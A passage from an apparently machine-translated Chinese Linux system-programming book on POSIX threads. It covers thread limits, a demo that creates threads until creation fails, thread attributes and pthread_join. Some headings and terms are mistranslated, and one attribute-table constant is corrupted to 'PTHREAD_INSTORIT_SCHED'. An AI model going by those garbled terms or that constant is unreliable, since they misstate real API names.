秒,然后重新构建并重试(我们这样做的唯一原因是为了让最终用户有机会在应用死之前键入`ps(1)`命令,如下面的屏幕截图所示)。 现在,在后台运行它,仔细看看! - -![](img/142c88d2-a84e-4026-855c-0fe06c95b0a1.png) - -查看前面的屏幕截图:我们在后台运行应用`pthreads3`;该应用(嗯,该应用的主线程)创建了另外三个线程。 每个线程只需休眠 30 秒就会阻塞。 当我们在后台运行该进程时,我们获得了对 shell 进程的控制;现在我们使用`-LA`选项开关运行`ps(1)`*和*。 从 3 月`ps(1)`的手册页: - -* `-A`:选择所有进程;与`-e`相同 -* `-L`:显示线程,可能包含 LWP 和 NLWP 列 - -好的!。 (GNU)和`ps(1)`甚至可以通过使用`-L`选项开关(也试试`ps H`),向我们显示每个线程都是活的。 使用`-L`开关,`ps`的输出中的第一列是进程的 PID(我们非常熟悉);第二列是线程**轻量级进程**(**LWP**);实际上,这是内核看到的单个线程的 PID。 有意思的。 不仅如此,请仔细查看这些数字:PID 和 LWP 匹配的地方,它是进程的第二个`main()`线程;PID 和 LWP 不同的地方,它告诉我们这是属于该进程的子线程,或者更准确地说,这只是一个对等线程;LWP 是操作系统看到的线程 PID。 因此,在我们的样例运行中,我们有 3906 的进程 PID,以及四个线程:第一个是第一个`main()`线程(因为它的 PID==它的 LWP 值),而其余三个具有相同的 PID-证明它们属于相同的整个进程,但是它们各自的线程 PID(它们的 LWP)是唯一的-3907、3908 和 3909! - -然而,我们一直提到的真正问题是,在`ps`命令输出的第一行(代表第二条主线)中,进程名称后面紧跟短语“ -``”(在最右侧)。 机警的读者应该记得,已经不存在的僵尸是僵尸的另一种说法!是的,臭名昭著的僵尸又回来纠缠我们了。 - -第一个主线程通过调用`pthread_exit(3)`命令(回想一下`ch14/pthreads3.c`中的主线程代码),已经在进程中的其他线程之前退出;Linux 内核因此将其标记为僵尸。正如我们在[第 10 章](10.html)和*进程创建*中了解到的,僵尸是不受欢迎的实体;我们真的不希望僵尸在周围徘徊(浪费资源)。 那么,问题当然是,我们如何防止这条主线变成僵尸? 答案很简单:不要让第一个主线程在应用中的其他线程之前终止;换句话说,建议始终保持它`main()`处于活动状态,而不是在它本身终止(从而使进程终止)之前等待所有其他线程终止。 多么?。 继续读下去。 - -再说一次,这是不言而喻的(但我们将这样说!):只要进程中至少有一个线程保持活动状态,它就会保持活动状态。 - -顺便说一句,工作线程什么时候会相互运行,什么时候会运行主线程?换句话说,是否可以保证创建的第一个线程会先运行,然后是第二个线程,然后是第三个线程,依此类推? - -简短的回答是:不,没有这样的保证。 特别是在现代的**对称多处理器**(**SMP**)硬件和支持多进程和多线程的现代操作系统(如 Linux)上,运行时的实际顺序是不确定的(这是一种奇特的说法,说它是未知的)。 实际上,这些决策是由 OS 调度器做出的(也就是说,在没有实时调度策略和线程优先级的情况下;我们将在本书后面讨论这些主题)。 - -我们的`./pthreads2`示例程序的另一次试运行揭示了这一情况: - -```sh -$ ./pthreads2 -Worker thread #0 running ... -#0: work done, exiting now -Worker thread #2 running ... -#2: work done, exiting now -Worker thread #1 running ... -#1: work done, exiting now -$ -``` - -你能看到发生了什么吗? 前面代码中显示的顺序是:先是`thread #0`,然后是`thread #2`,然后是`thread #1`!这是不可预测的。 在设计多线程应用时,不要假定任何特定的执行顺序。 (我们将在后面的一章中介绍同步技术,这一章将教我们如何实现所需的顺序。) - -# 死的方式太多了 - -线程如何终止? 事实证明,有几种方式: - -* 显式地,通过调用`pthread_exit(3)`。 -* 隐式地,通过从线程函数返回;返回值被隐式传递(就像通过`pthread_exit`参数)。 -* 隐式地,通过脱离线程函数;也就是点击右大括号`}`;但是请注意,不建议这样做(稍后的讨论将向您说明原因) -* 当然,任何调用`exit(3)`API 的线程都会导致整个进程以及其中的所有线程死亡。 -* 线程被取消(我们将在后面介绍)。 - -# 有多少线程才算太多? - -因此,到目前为止,我们已经知道如何创建一个在其中执行几个线程的应用进程。 我们将重复第一个演示程序`ch14/pthreads1.c`中的代码片段,如下所示: - -```sh -#include -#define NTHREADS 3 -[...] - -int main(void) -{ - [...] - for (i = 0; i < NTHREADS; i++) { - ret = pthread_create(&tid, NULL, worker, (void *)i); - if (ret) - FATAL("pthread_create() failed! [%d]\n", ret); - } -[...] -``` - -显然,进程-嗯,我们真正的意思是进程(或应用)的主要线程-进入一个循环,每个循环迭代都会创建一个线程。 因此,当它完成时,除了第一个主线程(总共是四个线程)之外,我们还将有三个线程在进程中处于活动状态。 - -这是显而易见的。 这里的要点是:创建线程比使用 Fork`fork(2)`创建(子)进程简单得多;使用 fork 时,我们必须仔细编码,让子级运行其代码,而父级继续执行其代码路径(回想一下 Switch-case 构造;如果愿意,请再快速查看一下我们的 Fork`ch10/fork4.c`示例代码)。 有了`pthread_create(3)`,对于应用程序员来说,事情变得简单了-只需在循环中调用 API-瞧吧!你想要多少线程就能得到多少线程! 在前面的代码片段中,想象一下对其进行调整,将`NTHREADS`的值从 3 更改为 300;就像这样,该过程将生成 300 个线程。 如果我们做`NTHREADS`3000 呢? 或者 3 万!? - -思考这一点会带来几个相关的问题:第一,你实际可以创建多少个线程? 第二,您应该创建多少个线程? 请继续读下去。 - -# 你可以创建多少条线程? - -想想看,对底层操作系统允许应用创建的线程数量必须有某种人为的限制;否则,系统资源很快就会耗尽。 事实上,这并不是什么新鲜事;我们在[第 3 章](03.html),*资源限制*中的整个讨论都是关于类似的事情。 - -关于线程(和进程),有两个(直接)限制会影响在任何给定时间点可以存在的线程数量: - -* 每个进程的资源限制:您会想起我们的[第 3 章](03.html)、*资源限制*,其中有两个实用程序可以查找当前定义的资源限制:`ulimit(1)`和`prlimit(1)`,后者是现代界面。 让我们快速了解一下最大用户进程的资源限制;还要认识到,虽然使用了进程一词,但实际上应该将这些进程视为线程: - -```sh -$ ulimit -u -63223 -$ -``` - -同样,`prlimit()`向我们展示了以下内容: - -```sh -$ prlimit --nproc -RESOURCE DESCRIPTION SOFT HARD UNITS -NPROC max number of processes 63223 63223 processes -$ -``` - -Here, we have shown you how to query the limit via the CLI; to see how to change it—both interactively and programmatically with API interfaces – refer to [Chapter 3](03.html), *Resource Limits.* - -* 系统范围的限制:Linux OS 对在任何给定时间点可以处于活动状态的线程总数保持一个系统范围(而不是每个进程)的限制。 此值通过命令 proc 文件系统向用户空间公开: - -```sh -$ cat /proc/sys/kernel/threads-max -126446 -$ -``` - -因此,需要理解的是,如果违反了前面两个限制中的任何一个,`pthread_create(3)`(类似地,`fork(2)`)将失败(通常将`errno`设置为值`EAGAIN`以重试;操作系统实际上是在说,“我现在不能为您做这件事,请稍后再试”)。 - -您能更改这些值吗? 是的,当然,但有一个常见的警告-您需要 root(超级用户)访问权限才能做到这一点。 (同样,我们已经在[第 3 章](03.html)、*资源限制*中详细讨论了这些要点)关于系统范围的限制,您确实可以将其更改为根。 但是,等等,在不了解影响的情况下盲目更改系统参数肯定会失去对系统的控制! 那么,让我们先问问自己这个问题:操作系统在引导时设置`threads-max`上限;它的值基于什么? - -简短的答案是:它与系统上的 RAM 大小成正比。 这是有道理的:归根结底,内存是创建线程和进程的关键限制资源。 - -In more detail for our dear OS-level geek readers: kernel code at boot time sets the `/proc/sys/kernel/threads-max` value so that thread (task) structures within the OS can take a maximum of one-eighth of available RAM. (The threads-max minimum value is 20; the maximum value is the constant `FUTEX_TID_MASK 0x3fffffff`.) -Also, by default, the per-process resource limit for the maximum number of threads is half of the system limit. - -从前面的代码可以看出,我们获得的值是 126,446;这是在具有 16 GB RAM 的原生 Linux 笔记本电脑上完成的。 在具有 1 GB RAM 的来宾虚拟机上运行相同的命令会产生以下结果: - -```sh -$ cat /proc/sys/kernel/threads-max -7420 -$ prlimit --nproc -RESOURCE DESCRIPTION SOFT HARD UNITS -NPROC max number of processes 3710 3710 processes -$ -``` - -将可调内核的参数`threads-max`*和*设置得过高(超出`FUTEX_TID_MASK`)会导致将其降低到该值(当然,在任何情况下,这个值几乎肯定都太大了)。 但是,即使在限制范围内,您也可能偏离太远,导致系统变得易受攻击(可能会受到**拒绝服务**(**DoS**)攻击!)。 在嵌入式 Linux 系统上,降低限制实际上可能有助于约束系统。 - -# 代码示例-创建任意数量的线程 - -因此,让我们来测试一下:我们将编写前一个程序的一个简单扩展,这一次允许用户将尝试在进程中创建的线程数指定为参数(`ch14/cr8_so_many_threads.c`)。 其主要功能如下: - -```sh -int main(int argc, char **argv) -{ - long i; - int ret; - pthread_t tid; - long numthrds=0; - - if (argc != 2) { - fprintf(stderr, "Usage: %s number-of-threads-to-create\n", argv[0]); - exit(EXIT_FAILURE); - } - numthrds = atol(argv[1]); - if (numthrds <= 0) { - fprintf(stderr, "Usage: %s number-of-threads-to-create\n", argv[0]); - exit(EXIT_FAILURE); - } - - for (i = 0; i < numthrds; i++) { - ret = pthread_create(&tid, NULL, worker, (void *)i); - if (ret) - FATAL("pthread_create() failed! [%d]\n", ret); - } - pthread_exit(NULL); -} -``` - -这非常简单:我们将用户作为第一个参数传递的字符串值转换为一个带参数的数值;然后我们有一个主循环`numthrds`次,调用`pthread_create(3)`,从而在每次循环迭代时创建一个全新的线程! 创建后,新线程的作用是什么? 很明显,他们执行`worker`函数的代码。 我们来看一下: - -```sh -void * worker(void *data) -{ - long datum = (long)data; - printf("Worker thread #%5ld: pausing now...\n", datum); - (void)pause(); -``` - -```sh - - printf(" #%5ld: work done, exiting now\n", datum); - pthread_exit(NULL); -} -``` - -同样,这非常简单:工作线程只发出一个值`printf(3)`-这很有用,因为它们会打印出它们的线程号-当然,它只是循环索引。 然后,它们通过`pause(2)`的系统调用进入睡眠状态。 (这个系统调用很有用:它是一个完美的阻塞调用;它使调用线程休眠,直到信号到达。) - -好的,让我们试一试: - -```sh -$ ./cr8_so_many_threads -Usage: ./cr8_so_many_threads number-of-threads-to-create -$ ./cr8_so_many_threads 300 -Worker thread # 0: pausing now... -Worker thread # 1: pausing now... -Worker thread # 2: pausing now... -Worker thread # 3: pausing now... -Worker thread # 5: pausing now... -Worker thread # 6: pausing now... -Worker thread # 4: pausing now... -Worker thread # 7: pausing now... -Worker thread # 10: pausing now... -Worker thread # 11: pausing now... -Worker thread # 9: pausing now... -Worker thread # 8: pausing now... - -[...] - -Worker thread # 271: pausing now... -Worker thread # 299: pausing now... -Worker thread # 285: pausing now... -Worker thread # 284: pausing now... -Worker thread # 273: pausing now... -Worker thread # 287: pausing now... -[...] -^C -$ -``` - -它是有效的(请注意,我们已经截断了输出,因为在这本书中要介绍的内容太多了)。 请注意,线程激活并执行(发出它们的指令`printf`)的顺序是随机的。 我们可以看到,我们创建的最后一个线程是以粗体突出显示的线程`# 299`(0 到 299 是 300 个线程)。 - -现在,让我们再次运行它,但这一次要求它创建数量惊人的线程(我们目前正在具有 1 GB RAM 的来宾 VM 上进行试验): - -```sh -$ prlimit --nproc ; ulimit -u RESOURCE DESCRIPTION SOFT HARD UNITS -NPROC max number of processes 3710 3710 processes -3710 $ ./cr8_so_many_threads 40000 -Worker thread # 0: pausing now... -Worker thread # 1: pausing now... -Worker thread # 2: pausing now... -Worker thread # 4: pausing now... - -[...] - -Worker thread # 2139: pausing now... -Worker thread # 2113: pausing now... -Worker thread # 2112: pausing now... -FATAL:cr8_so_many_threads.c:main:52: pthread_create() #2204 failed ! [11] - kernel says: Resource temporarily unavailable -$ -``` - -Obviously, again, the results that you will see will depend on your system; we encourage the reader to try it out on different systems. Also, it's possible that the actual failure message may have appeared somewhere higher up in your Terminal window; scroll up to find it! The name of the thread, as shown by `ps(1)`, and so on, can be set via the `pthread_setname_np(3)` API; note that the `np` suffix implies that the API is non-portable (Linux-only). - -# 一个人应该创建多少条线程? - -您可以创建的线程数量确实取决于应用的性质。在我们这里的讨论中,我们将考虑哪些应用倾向于 CPU 或 IO 受限。 - -在本章的早些时候(特别是在*设计动机*和*重叠 CPU 与 I/O*的小节中),我们提到了这样一个事实,就其执行行为而言,线程落在一个连续体的某个位置,介于两个极端之间:一个极端是完全受 CPU 限制的任务,另一个极端是完全受 I/O 限制的任务。 这个连续体可以如下所示: - -![](img/4d003f8d-0633-4386-a8b0-d06b42ae6701.png) - -Fig 3: The CPU-bound/IO-bound continuum - -100%受 CPU 限制的线程将持续在 CPU 上工作;100%受 I/O 限制的线程总是处于阻塞(或等待)状态,从不在 CPU 上执行。 这两种极端在实际应用中都是不切实际的;然而,很容易将它们往往具有其中一种的域可视化。 例如,涉及大量数学处理的域(科学模型、矢量图形(如 Web 浏览器中的 Flash 动画、矩阵乘法等)、(非)压缩实用程序、多媒体编解码器等)肯定会更受 CPU 的限制。 另一方面,我们人类每天与之交互的许多(但不是所有)应用(比如您的电子邮件客户端、Web 浏览器、文字处理等)往往会等待人类执行某些操作;实际上,它们往往是受 I/O 限制的。 - -因此,这是一个有用的设计经验法则(有点简单,但不管怎样):如果正在设计的应用本质上是 I/O 受限的,那么即使创建大量只等待工作的线程也没问题;这是因为它们大部分时间都处于休眠状态,因此不会给 CPU 带来任何压力(当然,创建太多线程会使内存紧张。) - -另一方面,如果应用被确定为高度受 CPU 限制,那么创建大量线程将给系统带来压力(并最终导致颠簸-这是一种常见的现象,即元工作比实际工作花费更长的时间!)。 因此,对于 CPU 受限的工作负载,经验法则是: - -```sh -max number of threads = number of CPU cores * factor; - where factor = 1.5 or 2. -``` - -Note, though, that there do exist CPU cores that do not provide any **hyperthreading** (**HT**) features; on cores like this, factor should just remain 1. - -实际上,我们的讨论非常简单:许多现实世界的应用(想想功能强大的 Web 服务器,如 Apache 和 Nginx)都会根据实际情况、配置预设和当前工作负载动态创建和调整所需的线程数量。 不过,前面的讨论是一个起点,这样您就可以开始考虑多线程应用的设计。 - -# 螺纹属性 - -在本章前面关于*Thread Creation*的初始讨论中,我们看到了`pthread_create(3)`的 API;第二个参数是指向线程属性结构的指针:`const pthread_attr_t *attr`。我们在那里提到,在这里传递 NULL 实际上会让库创建一个具有默认属性的线程。 虽然情况确实如此,但问题是,对于真正可移植的应用来说,这还不够好。 为什么? 因为默认线程属性实际上在不同的实现中差别很大。 正确的方式-在创建线程时显式指定线程属性。 - -当然,首先,我们需要了解 pthread 具有哪些属性。 下表列举了这一点: - -| **属性** | **含义** | **接口:1**`pthread_attr_[...](3)` | **可能的值** | ***Linux 默认*** | -| 分离状态状态 | 创建可接合或分离的螺纹 | `pthread_attr_` -`[get|set]detachstate` | PTHREAD_CREATE_JOINABLE -PTHREAD_CREATE_DETACHED | PTHREAD_CREATE_JOINABLE | -| 调度/争用范围 | 我们与之竞争资源(CPU)的一组线程 | `pthread_attr_``[get|set]scope` | PTHREAD_SCOPE_SYSTEM -PTHREAD_SCOPE_PROCESS | PTHREAD_SCOPE_SYSTEM | -| 计划/继承 | 确定调度属性是隐式继承自调用线程,还是显式继承自 Tattr 结构 | `pthread_attr_``[get|set]inheritsched` | PTHREAD_INSTORIT_SCHED -PTHREAD_EXPLICIT_SCHED | PTHREAD_INSTORIT_SCHED | -| 日程安排/策略 | 确定正在创建的线程的最新调度策略 | `pthread_attr_``[get|set]schedpolicy` | SCHED_FIFO -SCHED_RR -SCHED_OTHER | SCHED_OTHER | -| 调度/优先级 | 确定正在创建的线程的当前调度优先级 | `pthread_attr_``[get|set]schedparam` | Struct SCHED_PARAM 保持 -INT SCHED_PRIORITY | 0(非实时) | -| 堆叠/保护区域 | 线程堆栈的保护区域 | `pthread_attr_``[get|set]guardsize` | 堆栈保护区域大小(以字节为单位 | 1 页 | -| 堆栈/位置,给你。 | 查询或设置线程的堆栈位置和大小 | `pthread_attr_` -`[get|set]stack``pthread_attr_` -`[get|set]stackaddr``pthread_attr_` -`[get|set]stacksize` | 堆栈地址和/或堆栈大小,以字节为单位 | 线程堆栈位置:留给操作系统线程栈大小:8MB | - -正如您所看到的,清楚地理解这些属性中的许多属性确切地表示什么需要进一步的信息。 请耐心等待我们继续阅读本章(实际上,本书也是如此),因为这些属性中的几个及其含义将变得非常清楚(有关调度的详细信息将在[第 17 章](17.html),*Linux 上的 CPU 调度*中说明)。 - -# 代码示例-查询默认线程属性 - -目前,一个有用的实验是查询新生成的线程的默认属性,该线程的属性结构被指定为空(默认)。 如何做到这一点呢?`pthread_default_getattr_np(3)`会做到这一点(不过,请注意,同样需要注意的是,`_np`后缀意味着它是一个仅用于 Linux 的不可移植 API): - -```sh -#define _GNU_SOURCE /* See feature_test_macros(7) */ -#include -int pthread_getattr_default_np(pthread_attr_t *attr); -``` - -有趣的是,由于此函数依赖于定义的`_GNU_SOURCE`宏,我们必须首先定义宏(在源代码的早期);否则,编译将触发警告并可能失败。 (因此,在我们的代码中,我们首先使用*`#include "../common.h"`作为我们的第一个*common.h 和*头定义了`_GNU_SOURCE`宏。) - -我们的代码示例可以在这里找到,位于本书的 GitHub 存储库中:`ch14/disp_defattr_pthread.c`*。* - -在下面的代码中,我们显示了在运行 4.17.12 Linux 内核的 Fedora x86_64 机器上的试运行: - -```sh -$ ./disp_defattr_pthread -Linux Default Thread Attributes: -Detach State : PTHREAD_CREATE_JOINABLE -Scheduling - Scope : PTHREAD_SCOPE_SYSTEM - Inheritance : PTHREAD_INHERIT_SCHED - Policy : SCHED_OTHER - Priority : 0 -Thread Stack - Guard Size : 4096 bytes - Stack Size : 8388608 bytes -$ -``` - -For readability, only key parts of the source code are displayed; to view the complete source code, build and run it, the entire tree is available for cloning from GitHub here: [https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux](https://github.com/PacktPublishing/Hands-on-System-Programming-with-Linux). - -这里的关键函数如以下代码(`ch14/disp_defattr_pthread.c`)所示;我们首先查询并显示线程属性结构的“分离状态”(稍后将详细说明这些术语): - -```sh -static void display_thrd_attr(pthread_attr_t *attr) -{ - int detachst=0; - int sched_scope=0, sched_inh=0, sched_policy=0; - struct sched_param sch_param; - size_t guardsz=0, stacksz=0; - void *stackaddr; - - // Query and display the 'Detached State' - if (pthread_attr_getdetachstate(attr, &detachst)) - WARN("pthread_attr_getdetachstate() failed.\n"); - printf("Detach State : %s\n", - (detachst == PTHREAD_CREATE_JOINABLE) ? "PTHREAD_CREATE_JOINABLE" : - (detachst == PTHREAD_CREATE_DETACHED) ? "PTHREAD_CREATE_DETACHED" : - ""); -``` - -接下来,查询并显示各种 CPU 调度属性(稍后将在[第 17 章](17.html),*Linux 上的 CPU 调度*中介绍一些详细信息): - -```sh -//--- Scheduling Attributes - printf("Scheduling \n"); - // Query and display the 'Scheduling Scope' - if (pthread_attr_getscope(attr, &sched_scope)) - WARN("pthread_attr_getscope() failed.\n"); - printf(" Scope : %s\n", - (sched_scope == PTHREAD_SCOPE_SYSTEM) ? "PTHREAD_SCOPE_SYSTEM" : - (sched_scope == PTHREAD_SCOPE_PROCESS) ? "PTHREAD_SCOPE_PROCESS" : - ""); - - // Query and display the 'Scheduling Inheritance' - if (pthread_attr_getinheritsched(attr, &sched_inh)) - WARN("pthread_attr_getinheritsched() failed.\n"); - printf(" Inheritance : %s\n", - (sched_inh == PTHREAD_INHERIT_SCHED) ? "PTHREAD_INHERIT_SCHED" : - (sched_inh == PTHREAD_EXPLICIT_SCHED) ? "PTHREAD_EXPLICIT_SCHED" : - ""); - - // Query and display the 'Scheduling Policy' - if (pthread_attr_getschedpolicy(attr, &sched_policy)) - WARN("pthread_attr_getschedpolicy() failed.\n"); - printf(" Policy : %s\n", - (sched_policy == SCHED_FIFO) ? "SCHED_FIFO" : - (sched_policy == SCHED_RR) ? "SCHED_RR" : - (sched_policy == SCHED_OTHER) ? "SCHED_OTHER" : - ""); - - // Query and display the 'Scheduling Priority' - if (pthread_attr_getschedparam(attr, &sch_param)) - WARN("pthread_attr_getschedparam() failed.\n"); - printf(" Priority : %d\n", sch_param.sched_priority); -``` - -最后,查询并显示线程堆栈属性: - -```sh -//--- Thread Stack Attributes - printf("Thread Stack \n"); - // Query and display the 'Guard Size' - if (pthread_attr_getguardsize(attr, &guardsz)) - WARN("pthread_attr_getguardsize() failed.\n"); - printf(" Guard Size : %9zu bytes\n", guardsz); - - /* Query and display the 'Stack Size': - * 'stack location' will be meaningless now as there is no - * actual thread created yet! - */ - if (pthread_attr_getstack(attr, &stackaddr, &stacksz)) - WARN("pthread_attr_getstack() failed.\n"); - printf(" Stack Size : %9zu bytes\n", stacksz); -} -``` - -In the preceding code, we put in the `pthread_getattr_default_np(3)` API to query the default thread attributes. Its counterpart, the` pthread_setattr_default_np(3)` API, allows you to specify what exactly the default thread attributes should be when creating a thread, and the second parameter to `pthread_create(3)` is passed as NULL. Do see its man page for details. - -还有一种编写类似程序的替代方法:为什么不创建一个具有空属性结构的线程(从而使其成为默认属性),然后发出`pthread_getattr_np(3)`API 来查询和显示实际的线程属性? 我们将本文作为练习留给读者(实际上,`pthread_attr_init(3)`上的手册页就提供了这样一个程序)。 - -# 连接 / 接合 / 与…交接 / 结合 - -想象一下这样一个应用,其中一个线程(通常是主线程)派生了几个其他工作线程。 每个工作线程都有一个特定的工作要做;一旦完成,它就会终止(通过`pthread_exit(3)`)。 创建者线程如何知道工作线程何时完成(终止)?啊,这正是联接的用武之地。 有了联接,创建者线程可以等待或阻塞进程中另一个线程的死亡(终止)! - -这听起来不是很像父进程发出的等待孩子死亡的`wait(2)`系统调用吗? 没错,但我们很快就会看到,这肯定不是一模一样的。 - -此外,重要的是,来自终止的线程的返回值被传递到对其发出联接的线程。 这样,就可以知道工人是否成功完成了任务(如果没有成功,则可以检查故障值以确定失败的原因): - -```sh -#include -int pthread_join(pthread_t thread, void **retval); -``` - -`pthread_join(3)`,`thread,`的第一个参数是要等待的线程的 ID。 在终止的那一刻,调用线程将在第二个参数(是的,它是一个值-结果样式的参数)中接收来自终止的线程的返回值-当然,这是通过其参数`pthread_exit(3)`调用传递的值。 - -因此,连接线程非常有用;使用此构造,您可以确保线程可以在任何给定线程终止时阻塞。 具体地说,在主线程的情况下,我们经常使用这种机制来确保主线程在其自身终止之前等待所有其他应用线程终止(从而防止我们之前看到的僵尸)。 这被认为是正确的方法。 - -回想一下,在前面的*幽灵回归*中,我们清楚地看到了第一条主线是如何在对应的线程之前死亡的,变成了无意中的僵尸(第二`ch14/pthreads3.c`)程序。 在前面代码的基础上构建一个快速示例,将有助于澄清问题。 因此,让我们增强该程序(我们现在将其称为`ch14/pthreads_joiner1.c`),以便通过调用每个工作线程上的`pthread_join(3)`API,使第一个主线程等待所有其他线程死亡,然后它自己才会终止: - -```sh -int main(void) -{ - long i; - int ret, stat=0; - pthread_t tid[NTHREADS]; - pthread_attr_t attr; - - /* Init the thread attribute structure to defaults */ - pthread_attr_init(&attr); - /* Create all threads as joinable */ - pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_JOINABLE); - - // Thread creation loop - for (i = 0; i < NTHREADS; i++) { - printf("main: creating thread #%ld ...\n", i); - ret = pthread_create(&tid[i], &attr, worker, (void *)i); - if (ret) - FATAL("pthread_create() failed! [%d]\n", ret); - } - pthread_attr_destroy(&attr); -``` - -这里有几点需要注意: - -* 要随后执行联接,我们需要每个线程的 ID;因此,我们声明了一个由`pthread_t`(`tid`变量)组成的数组。 每个元素都将存储相应线程的 ID 值。 -* 螺纹属性: - * 到目前为止,我们还没有在创建线程时显式初始化和使用线程属性结构。 在这里,我们要纠正这一缺点。 `pthread_attr_init(3)`用于初始化(默认为)属性结构。 - * 此外,我们通过在结构中设置此属性(通过`pthread_attr_setdetachstate(3)`API)显式地使线程可接合。 - * 创建线程后,我们必须销毁线程属性结构(通过 API`pthread_attr_destroy(3)`)。 - -关键是要了解,只有将其分离状态设置为可接合的线程才能加入。 有趣的是,稍后可以将可接合线程设置为分离状态(通过对其调用`pthread_detach(3)`);没有反向例程。 - -代码继续;我们现在向您展示线程`worker`的函数: - -```sh -void * worker(void *data) -{ - long datum = (long)data; - int slptm=8; - - printf(" worker #%ld: will sleep for %ds now ...\n", datum, slptm); - sleep(slptm); - printf(" worker #%ld: work (eyeroll) done, exiting now\n", datum); - - /* Terminate with success: status value 0. - * The join will pick this up. */ - pthread_exit((void *)0); -} -``` - -很简单:我们只让所谓的工作线程休眠 8 秒,然后死亡;这一次,线程`pthread_exit(3)`将返回状态`0`作为参数传递。 在下面的代码片段中,我们继续编写 Main 的代码: - -```sh - // Thread join loop - for (i = 0; i < NTHREADS; i++) { - printf("main: joining (waiting) upon thread #%ld ...\n", i); - ret = pthread_join(tid[i], (void **)&stat); - if (ret) - WARN("pthread_join() failed! [%d]\n", ret); - else - printf("Thread #%ld successfully joined; it terminated with" - "status=%d\n", i, stat); - } - printf("\nmain: now dying... Farewell!\n"); - pthread_exit(NULL); -} -``` - -这里是关键部分:在循环中,主线程会在每个工作线程死后通过`pthread_join(3)`API 阻塞(等待);实际上,第二个(值-结果样式)参数返回刚刚终止的线程的状态。 遵循通常的零成功约定,从而允许主线程确定工作线程是否成功地完成了它们的工作。 - -让我们构建并运行它: - -```sh -$ make pthreads_joiner1 -gcc -O2 -Wall -UDEBUG -c ../common.c -o common.o -gcc -O2 -Wall -UDEBUG -c pthreads_joiner1.c -o pthreads_joiner1.o -gcc -o pthreads_joiner1 pthreads_joiner1.o common.o -lpthread -$ ./pthreads_joiner1 -main: creating thread #0 ... -main: creating thread #1 ... - worker #0: will sleep for 8s now ... -main: creating thread #2 ... - worker #1: will sleep for 8s now ... -main: joining (waiting) upon thread #0 ... - worker #2: will sleep for 8s now ... - -*<< ... worker threads sleep for 8s ... >>* - - worker #0: work (eyeroll) done, exiting now - worker #1: work (eyeroll) done, exiting now - worker #2: work (eyeroll) done, exiting now -Thread #0 successfully joined; it terminated with status=0 -main: joining (waiting) upon thread #1 ... -Thread #1 successfully joined; it terminated with status=0 -main: joining (waiting) upon thread #2 ... -Thread #2 successfully joined; it terminated with status=0 - -main: now dying... Farewell! -$ -``` - -当工作线程死亡时,它们由第一个主线程通过`pthread_join`拾取或联接;不仅如此,还可以检查它们的终止状态-返回值。 - -好的,我们将复制前面的程序,并将其命名为`ch14/pthreads_joiner2.c`。 我们所做的唯一改变不是让每个工作线程休眠 8 秒,而是动态设置休眠时间。 我们将更改代码;例如,将更改此行:`sleep(slptm);` - -新行将如下所示:`sleep(slptm-datum);` - -这里,`datum`是传递给线程的值-循环索引。 这样,我们发现工作线程按如下方式休眠: - -* 工作线程#0 休眠(8-0)=8 秒 -* 工作线程#1 休眠(8-1)=7 秒 -* 工作线程#2 休眠(8-2)=6 秒 - -显然,工作线程#2 将首先终止;那又如何? 好了,想想看:其间,第一个主线程在`pthread_join`附近循环,但是按照线程#0、线程#1、线程#2 的顺序,现在线程#0 会最后死,线程#2 会先死。 这会是个问题吗? - -让我们试一试,看看: - -```sh -$ ./pthreads_joiner2 -main: creating thread #0 ... -main: creating thread #1 ... -main: creating thread #2 ... -main: joining (waiting) upon thread #0 ... - worker #0: will sleep for 8s now ... - worker #1: will sleep for 7s now ... - worker #2: will sleep for 6s now ... *<< ... worker threads sleep for 8s, 7s and 6s resp ... >>* - worker #2: work (eyeroll) done, exiting now - worker #1: work (eyeroll) done, exiting now - worker #0: work (eyeroll) done, exiting now -Thread #0 successfully joined; it terminated with status=0 -main: joining (waiting) upon thread #1 ... -Thread #1 successfully joined; it terminated with status=0 -main: joining (waiting) upon thread #2 ... -Thread #2 successfully joined; it terminated with status=0 - -main: now dying... Farewell! -$ -``` - -我们注意到什么了? 尽管 Worker 的线程#2 先死,Worker 的线程#0 首先加入,因为在代码中,那是我们首先等待的线程! - -# 线程模型连接和进程模型等待 - -至此,您应该已经开始意识到,虽然`pthread_join(3)`接口和`wait(2)`接口(以及系列)看起来非常相似,但它们肯定不是等价的;它们之间存在着几个不同之处,并在下表中列举: - -| **情况** | **线程:`pthread_join(3)`** | **进程:`wait[pid](2)`** | -| 情况 / 状态 / 环境 / 身份 | 正在等待的线程必须将其分离状态属性设置为可接合,而不是分离。 | 无;任何子进程都可以(事实上必须)被等待(回想一下我们的*分叉规则#7*) | -| 等级制度 / 分等级的组织 / 层级 / 神职人员 | 无:任何线程都可以加入任何其他线程;不需要父子关系。 事实上,我们并不认为线程像进程那样生活在严格的父子层次结构中;所有线程都是对等体。 | 存在严格的父子层次结构;只有父进程才能等待子进程。 | -| 次序 / 命令 / 订单 | 对于线程,强制在指定为`pthread_join(3)`的参数的特定线程上加入(等待)。 换句话说,如果有三个线程在运行,并且主线程在升序循环中发出联接,那么它必须等待死亡或线程#1,然后是线程#2,然后是线程#3。如果线程#2 提前终止,则没有任何帮助。 | 有了等待,进程可以在任何一个子进程死亡(或停止)时等待,或者用 waitpid 指定要等待的特定子进程。 | -| 暗号 / 信号 / 表示 / 起因 | 线程死亡时不会发送任何信号。 | 在进程死亡时,内核将向父进程发送`SIGCHLD`结束信号。 | - -关于`pthread_join(3)`版本,还需要注意的其他几点如下: - -* 您需要线程的线程 ID 才能连接到它上;这是故意这样做的,这样我们实际上只能连接应用进程的线程。 尝试加入其他线程(如第三方库线程)将是糟糕的设计。 -* 如果我们等待(死亡)的线程已经死了怎么办? 然后`pthread_join(3)`就会立即返回。 -* 如果线程试图自行联接该怎么办? 这会导致失败(将`errno`设置为`EDEADLK`)。 -* 尝试将多个线程联接到一个线程会导致未定义的行为;请避免这种情况。 -* 如果试图加入另一个线程的线程被取消(稍后介绍),则目标线程保持原样(可接合)。 - -# 检查生命,超时 - -有时,我们可能会遇到这样的情况:我们希望检查某个特定线程是否仍处于活动状态;一种方法是通过 API`pthread_tryjoin_np(3)`: - -```sh -#define _GNU_SOURCE /* See feature_test_macros(7) */ -#include - -int pthread_tryjoin_np(pthread_t thread, void **retval); -int pthread_timedjoin_np(pthread_t thread, void **retval, - const struct timespec *abstime); -``` - -`pthread_tryjoin_np(3)`的第一个参数是我们试图加入的线程;(第二个参数通常是目标线程的终止状态)。 注意 API 中的 try 